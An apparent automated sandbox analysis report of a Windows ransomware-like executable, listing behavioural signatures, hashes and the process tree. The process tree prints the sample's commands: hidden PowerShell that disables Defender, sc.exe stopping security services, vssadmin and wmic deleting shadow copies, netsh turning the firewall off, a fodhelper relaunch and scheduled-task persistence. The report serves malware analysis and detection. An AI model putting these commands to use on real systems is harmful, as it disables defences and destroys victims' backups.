Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 15:22

General

  • Target
    candacevon.tv_hyber.exe
  • Size 49KB
  • Sample260930-sr7afsbd57
  • SHA256 c1bdbd5739d1976c5794193fa8c007041dde7b301f96b6584be6ffa7cd044595
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\candacevon.tv_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\candacevon.tv_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4120
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4392
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:296
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1688
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4116
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4476
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4072
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2652
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:5112
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5492
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5712
      • C:\Users\Admin\AppData\Local\Temp\candacevon.tv_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\candacevon.tv_hyber.exe"
        3⤵
          PID:2808
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:3764
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\candacevon.tv_hyber.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5856
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4660
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:2056
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:5416
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1096
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:2996
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5068
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          3⤵
            PID:4116
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:4760
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:832
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:4476
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4944
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3344
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2288
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:5724
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5076
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:4696
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4104
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                PID:3516
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\candacevon.tv_hyber.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4868
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:1688
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:5256
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:2336
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Reads the TCP/IP host and domain name from the registry
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5036
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2972
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:3020
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:3648
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:2308
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:2840
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a22855 /state1:0x41c64e6d
                1⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Checks processor information in registry
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:1876
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k CameraMonitor
                1⤵
                  PID:5784
                • C:\Users\Admin\AppData\Local\Temp\candacevon.tv_hyber.exe
                  C:\Users\Admin\AppData\Local\Temp\candacevon.tv_hyber.exe
                  1⤵
                    PID:3680
                  • C:\Users\Admin\AppData\Local\Temp\candacevon.tv_hyber.exe
                    C:\Users\Admin\AppData\Local\Temp\candacevon.tv_hyber.exe
                    1⤵
                      PID:4652
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2904
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k GPSvcGroup
                      1⤵
                        PID:2876

                      Network

                            MITRE ATT&CK Enterprise v16

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                            Downloads

                            invoice_1.pdf

                            • Path C:\ProgramData\invoice_1.pdf
                            • Size 66KB
                            • SHA256 aef5a6792b36617da18d835b9b087eb2019d0edb4d74c4de0a7d62771ff69d5e
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            doc_3.pdf

                            • Path C:\SystemVolumeInformation\doc_3.pdf
                            • Size 66KB
                            • SHA256 3de39c203cc0134d00be3d27a317d5d6cd67a8c227578d1bb37162045bb0f901
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            createshortcut.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            • Size 244B
                            • SHA256 744c806fe4ef73cfff118231141936f49728639d7489d3929124414b21631857
                            • MD5 SHA1 SHA512 TLSH

                            del.bat

                            • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                            • Size 59B
                            • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                            • MD5 SHA1 SHA512 TLSH

                            makelnk.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                            • Size 245B
                            • SHA256 57cd52575500e8fe88f205a088e02047fad15e0b04f4079d855fc94337453de0
                            • MD5 SHA1 SHA512 TLSH

                            memory/4120-2246-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-4-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-9-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-11-0x000000001EDC0000-0x000000001F2E8000-memory.dmp

                            memory/4120-10-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-12-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-7-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-2257-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-2255-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-2254-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-2253-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-8-0x000000001E4C0000-0x000000001E682000-memory.dmp

                            memory/4120-3-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-2-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-1-0x0000000000FE0000-0x0000000000FF2000-memory.dmp

                            memory/4120-2252-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-0-0x00007FFCE555F000-0x00007FFCE5560000-memory.dmp

                            memory/4120-2249-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4120-2250-0x00007FFCE53D0000-0x00007FFCE5D74000-memory.dmp

                            memory/4392-1601-0x00000243EEB20000-0x00000243EEB2A000-memory.dmp

                            memory/4392-1312-0x00000243EEB50000-0x00000243EEC02000-memory.dmp

                            memory/4392-1270-0x00000243EEB30000-0x00000243EEB4E000-memory.dmp

                            memory/4392-27-0x00000243EE8A0000-0x00000243EE8C2000-memory.dmp

                            memory/5256-2241-0x0000012CC4D50000-0x0000012CC4D51000-memory.dmp